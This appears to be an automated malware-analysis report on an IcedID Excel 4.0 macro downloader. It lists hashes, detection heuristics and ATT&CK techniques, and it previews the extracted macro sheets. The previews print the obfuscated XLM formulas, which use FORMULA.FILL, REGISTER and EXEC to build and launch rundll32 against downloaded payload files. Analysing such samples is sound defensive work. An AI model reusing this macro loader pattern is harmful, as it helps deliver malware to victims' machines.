IcedID Office (OOXML) malware analysis — malicious · 84547d88deec1056

MALICIOUS

Office (OOXML)

170.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-24

MD5: 094ac365190de2fe43bf0ed3bc03e7b7 SHA-1: 7c0d9c32de32c12fe3ee29eb1717b26c52d0e5d0 SHA-256: 84547d88deec10565574068f195d72b5546b788788e5acf1ba7bc935ac86dd1b

242 Risk Score

Malware Insights

IcedID · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Excel file containing Excel 4.0 macros, as indicated by multiple critical heuristic firings. These macros utilize dangerous functions like FORMULA.FILL and EXEC to download and execute a second-stage payload from the embedded URLs. The ClamAV detection name 'Xls.Downloader.IcedID' strongly suggests the IcedID family.

Heuristics 5

ClamAV: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.IcedID-9f1f1d193a2a2a2b-9951463-0
Excel 4.0 macro sheet (2 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET

Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME

Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
Dangerous XLM formula APIs: FORMULA.FILL, GOTO, RETURN, EXEC critical OOXML_XLM_DANGEROUS_FN

Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_sheet_00.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet1.xml	5565 bytes
SHA-256: `21b43b24fc2a4b371e0eab7f7cbec4533426891fb10a2e0ff24cac569d7b0f37`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="A1:AU402"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5.6640625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="25" width="5.6640625" style="2"/><col min="26" max="26" width="5.6640625" style="3"/><col min="27" max="16384" width="5.6640625" style="2"/></cols><sheetData><row r="1" spans="1:1" x14ac:dyDescent="0.3"><c r="A1" s="4"/></row><row r="87" spans="34:34" x14ac:dyDescent="0.3"><c r="AH87" s="2" t="s"><v>19</v></c></row><row r="99" spans="37:38" x14ac:dyDescent="0.3"><c r="AL99" s="2" t="s"><v>0</v></c></row><row r="100" spans="37:38" x14ac:dyDescent="0.3"><c r="AL100" s="2" t="s"><v>1</v></c></row><row r="101" spans="37:38" x14ac:dyDescent="0.3"><c r="AL101" s="2" t="s"><v>5</v></c></row><row r="102" spans="37:38" x14ac:dyDescent="0.3"><c r="AL102" s="2" t="s"><v>3</v></c></row><row r="103" spans="37:38" x14ac:dyDescent="0.3"><c r="AL103" s="2" t="s"><v>6</v></c></row><row r="104" spans="37:38" x14ac:dyDescent="0.3"><c r="AL104" s="2" t="s"><v>4</v></c></row><row r="105" spans="37:38" x14ac:dyDescent="0.3"><c r="AK105" s="2" t="s"><v>14</v></c><c r="AL105" s="2" t="s"><v>7</v></c></row><row r="106" spans="37:38" x14ac:dyDescent="0.3"><c r="AK106" s="2" t="s"><v>14</v></c><c r="AL106" s="2" t="s"><v>3</v></c></row><row r="107" spans="37:38" x14ac:dyDescent="0.3"><c r="AK107" s="2" t="s"><v>15</v></c><c r="AL107" s="2" t="s"><v>8</v></c></row><row r="108" spans="37:38" x14ac:dyDescent="0.3"><c r="AK108" s="2" t="s"><v>15</v></c><c r="AL108" s="2" t="s"><v>9</v></c></row><row r="109" spans="37:38" x14ac:dyDescent="0.3"><c r="AK109" s="2" t="s"><v>16</v></c><c r="AL109" s="2" t="s"><v>10</v></c></row><row r="110" spans="37:38" x14ac:dyDescent="0.3"><c r="AK110" s="2" t="s"><v>16</v></c><c r="AL110" s="2" t="s"><v>3</v></c></row><row r="111" spans="37:38" x14ac:dyDescent="0.3"><c r="AL111" s="2" t="s"><v>11</v></c></row><row r="112" spans="37:38" x14ac:dyDescent="0.3"><c r="AK112" s="2" t="s"><v>17</v></c><c r="AL112" s="2" t="s"><v>12</v></c></row><row r="113" spans="37:38" x14ac:dyDescent="0.3"><c r="AL113" s="2" t="s"><v>7</v></c></row><row r="114" spans="37:38" x14ac:dyDescent="0.3"><c r="AL114" s="2" t="s"><v>13</v></c></row><row r="115" spans="37:38" x14ac:dyDescent="0.3"><c r="AL115" s="2" t="s"><v>18</v></c></row><row r="117" spans="37:38" x14ac:dyDescent="0.3"><c r="AK117" s="2" t="s"><v>2</v></c></row><row r="262" spans="41:41" x14ac:dyDescent="0.3"><c r="AO262" s="2" t="str"><f>NOW()&".dat"</f><v>44273,4828008102.dat</v></c></row><row r="265" spans="41:41" x14ac:dyDescent="0.3"><c r="AO265" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=FORMULA.FILL(","&AL101&AL113&AL113&AL99&AL114&"g"&"i"&"s"&"t"&"e"&"r"&"S"&"e"&"r"&"v"&"e"&"r",AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="271" spans="41:41" x14ac:dyDescent="0.3"><c r="AO271" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=""&""&REGISTER("U"&AL99&AL100&AK117&AL110&AL104,"U"&AL99&AL100&AL101&AL102&AL103&AL104&AL105&AL106&AL ... (truncated)
`xlm_sheet_01.xml`	xlm-macrosheet	OOXML XLM macro sheet: xl/macrosheets/sheet2.xml	2434 bytes
SHA-256: `5c4423f87de4646755545b93c22f66e76828f61098e22de81e80e42a48f190a9`
Preview script First 1,000 lines of the extracted script <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="X211:X220"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="5.88671875" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="5.88671875" style="2"/></cols><sheetData><row r="211" spans="24:24" x14ac:dyDescent="0.3"><c r="X211" s="2" t="b"><f>NOW()=NOW()=NOW()=FORMULA.FILL(sheet1!AL99&"u"&"n"&"d"&"l"&"l"&"3"&"2 ",Y211)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="213" spans="24:24" x14ac:dyDescent="0.3"><c r="X213" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet2!Y211&"..\Fol.doka"&sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="214" spans="24:24" x14ac:dyDescent="0.3"><c r="X214" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet2!Y211&"..\Fol.doka1"&sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="215" spans="24:24" x14ac:dyDescent="0.3"><c r="X215" s="2" t="b"><f>NOW()=NOW()=NOW()=NOW()=NOW()=NOW()=EXEC(sheet2!Y211&"..\Fol.doka2"&sheet1!AP265)=NOW()=NOW()=NOW()=NOW()=NOW()=NOW()</f><v>0</v></c></row><row r="220" spans="24:24" x14ac:dyDescent="0.3"><c r="X220" s="2" t="b"><f>GOTO(sheet1!AU279)</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><drawing r:id="rId2"/></xm:macrosheet>

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